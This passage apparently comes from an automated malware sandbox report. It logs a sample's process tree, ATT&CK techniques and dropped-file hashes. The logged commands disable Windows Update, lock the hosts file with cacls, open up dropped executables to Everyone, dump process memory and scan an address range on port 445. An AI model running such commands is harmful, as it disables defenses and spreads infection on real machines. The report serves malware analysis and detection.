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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:1244
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C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:2088
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C:\Windows\TEMP\iibfpugis\vekeuubbl.exeC:\Windows\TEMP\iibfpugis\vekeuubbl.exe -accepteula -mp 348 C:\Windows\TEMP\iibfpugis\348.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:956
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C:\Windows\TEMP\iibfpugis\vekeuubbl.exeC:\Windows\TEMP\iibfpugis\vekeuubbl.exe -accepteula -mp 1120 C:\Windows\TEMP\iibfpugis\1120.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1836
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C:\Windows\TEMP\iibfpugis\vekeuubbl.exeC:\Windows\TEMP\iibfpugis\vekeuubbl.exe -accepteula -mp 1172 C:\Windows\TEMP\iibfpugis\1172.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:884
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C:\Windows\TEMP\iibfpugis\vekeuubbl.exeC:\Windows\TEMP\iibfpugis\vekeuubbl.exe -accepteula -mp 2924 C:\Windows\TEMP\iibfpugis\2924.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3044
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C:\Windows\TEMP\iibfpugis\vekeuubbl.exeC:\Windows\TEMP\iibfpugis\vekeuubbl.exe -accepteula -mp 1140 C:\Windows\TEMP\iibfpugis\1140.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1724
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C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\iibfpugis\fewectaiq\scan.bat2⤵
- Loads dropped DLL
PID:1432 -
C:\Windows\iibfpugis\fewectaiq\mqmqbrmul.exemqmqbrmul.exe TCP 191.101.0.1 191.101.255.255 445 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2720
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵PID:1608
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1556
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:4016
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4020
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:1808
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3948
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:1552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2664
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C:\Windows\SysWOW64\rifzsk.exeC:\Windows\SysWOW64\rifzsk.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3000
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:1732
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:2464
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C:\Windows\system32\taskeng.exetaskeng.exe {8D6BF276-5E81-448B-97E7-EFE8345F52DF} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:2484
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\yrklftl.exe2⤵PID:2364
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C:\Windows\ime\yrklftl.exeC:\Windows\ime\yrklftl.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:1988
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F2⤵PID:2984
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2840
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C:\Windows\system32\cacls.execacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F3⤵PID:2096
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F2⤵PID:2488
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2320
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C:\Windows\system32\cacls.execacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F3⤵PID:2804
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\yrklftl.exe2⤵PID:4088
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C:\Windows\ime\yrklftl.exeC:\Windows\ime\yrklftl.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:3976
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F2⤵PID:3312
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3320
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C:\Windows\system32\cacls.execacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F3⤵PID:2080
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F2⤵PID:3160
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1076
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C:\Windows\system32\cacls.execacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F3⤵PID:2828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:2092
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
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Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
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Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
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Filesize
1.4MB
MD580253d48fb8e684e2436105b667f06a2
SHA1ca34ddf3cb459370cc0e0978d107efc44d7b55a0
SHA2562dd1e74e809ea9a40a5f7fc5d7f91f8f64035530ec02513253740e18aa262914
SHA512ece450e6ac4586ca23cb562317d11aa93e260496ac6a5f8657d3813c8af86a40cf7cb834b6ecbfd68dcf261590475b8f947f651a7209f7a9269f80ef42ab5b26
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Filesize
851KB
MD51a8c36581d3363b0b4df4b8d8f7fd99d
SHA1cce95e6435c18518890e82fcbfb343597f84e92b
SHA25631981effee81d868d348ae72c140ccf5fa608839eb96e0eba0b184b3db643e22
SHA51247c7ab0b7809af9d4fb73e9d654ee698908603a3f0681718d4456e1dec2e25a90b22ddbbc4869139b6e3b70cb386c62aedfcc5865d8b473e193e14f075eff8d5
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Filesize
1.3MB
MD5d94aa4380a5bd321d9362247862e08bc
SHA120147b7462edb15e77fa4ae16dae3fca20391deb
SHA25620b36d28afd1c779c0d64ff83719ce8271ee7198afe8179accc80030de715f82
SHA5123f52cc6606967860db4be933e41d867bd717b894a5710bf28bf19a88aad0b45c0a69eb543dda03725151a67e0b9e19855806f76202feea69546ad929cc3731e3
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Filesize
7.2MB
MD50e57a2a39885f726dbbcbfc9c172e6a4
SHA15d977c2ca53984804a6e7f795d160c4020411040
SHA2569bf5012b25120791620929c8a4c56ce0a5092145b3d2cba504ed0690b8c59047
SHA512cf617a1ca1770377fe12c5226ed94d94a11fffe4080eaa8013269cd009e2612884f046a1501ea444aa932a7996fa023d5e3491e18ee7daa2dd16260ae5afbda3
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Filesize
4.7MB
MD5b695d1b5032acbbe441b83eff6cfc9d1
SHA13bc638e8c5ac9662a6125fe4902500504bd6cd91
SHA256f5dab5c7a45dedbc13ad13e6e8c62f8936aa7e068946b764a54b081bf39ac1c8
SHA5121b3667eb43c43551ad47b8a94c7b7de9361ab48987e709da3662a3e41f95dff341c51cbf09d8bee16af0e79b6590bfd2f72eb92efc40616b27711cda283fff9d
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Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
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Filesize
193B
MD5c1c877bd5fd245e36ca4b89c5b40b67e
SHA11b35428d46702739366d4f07b93849f12af9b108
SHA256d53d72ecacb1345da0f5834b241a6c4831e60339691767ce2d4201f65ffeab68
SHA512a1d2f9fbebb52710cf21741b7c35daefc8190713eaae1e8549b48077dbd1f9c8abb0bc47c99d356f36333a7ee1b5c97aa3aa29a2b591d878ad0f877636d6f1e3
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Filesize
332KB
MD5ea774c81fe7b5d9708caa278cf3f3c68
SHA1fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA2564883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
SHA5127cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
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Filesize
159B
MD5cf678436f9b4af76bc7da80e527d5aa6
SHA193ef3d07f83fa6935bb1063a3a4798198e8acda0
SHA256089f79e52361dd7c69711543dac80061936895a778e076e2181441271ec0a0d5
SHA5121c8ba46a190488daa9c5227983392ac0f26f93f8062d7a1b623bdeb0d6f3ab10edcfe57672f7df9d1be8e22375cae592e55424d9012d9aa7374dc3d7a4972b5e
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Filesize
975B
MD5b5d815ff5310f62de5020591be598bc0
SHA18013562b0cc2516d16d474308c8982a31b7f5dd0
SHA256a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
SHA5124e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94
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Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
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Filesize
343KB
MD52b4ac7b362261cb3f6f9583751708064
SHA1b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA256a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
SHA512c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
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Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
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Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
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Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
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Filesize
7.9MB
MD5fc5f7f55f88ea2adedf845ec36eee04e
SHA17f1255e70374068eed4378393bd3432601efa262
SHA256347b8c72b3ffbd3695e94dacaab352017acd7e9a33300abc8b7a29699f6935a6
SHA51254089fe846cd5c20a32dc7927f503b1827ca201afa95f31b31f242e0e5ae780b30367e57feb082b85098ab600e26ea7e9e80148b4b018fe35edac94ad03a7329
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Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
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Filesize
63KB
MD5821ea58e3e9b6539ff0affd40e59f962
SHA1635a301d847f3a2e85f21f7ee12add7692873569
SHA256a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
SHA5120d08235781b81ff9e0a75f0e220a8d368d95ee75bf482670e83696e59d991aad68310ae7fa677ac96ffad1f97b3ec7d7208dc26d2edb111c39213b32502b82f6
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Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe